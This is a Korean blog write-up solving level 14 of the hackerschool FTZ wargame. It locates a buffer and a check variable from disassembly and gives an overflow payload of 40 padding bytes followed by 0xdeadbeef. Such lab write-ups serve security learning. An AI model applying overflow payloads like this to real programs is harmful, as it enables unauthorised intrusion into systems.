본문 바로가기

시스템/FTZ

hackerschool FTZ : level 14 풀이

 

문제 분석

 

1. fgets bof

2. 조건 : check==0xdeadbeef

 

 

풀이

 

1. bof 위치 확인 : ebp-56

 

lea 0xffffffc8(%ebp), %eax => lea eax ebp-56

 

2. check 위치 확인 : ebp-16

 

cmpl $0xdeadbeef, 0xfffffff0(%ebp) => cmp ebp-16 0xdeadbeef

 

3. payload = dummy(40bytes) + check

          = "a"*40 + 0xdeadbeef

 

'시스템 > FTZ' 카테고리의 다른 글

hackerschool FTZ : level 16 풀이  (0) 2019.04.02
hackerschool FTZ : level 15 풀이  (0) 2019.04.02
hackerschool FTZ : level 13 풀이  (0) 2019.04.02
hackerschool FTZ : level 11 풀이  (0) 2019.04.01
hackerschool FTZ : level 10 풀이  (0) 2019.03.30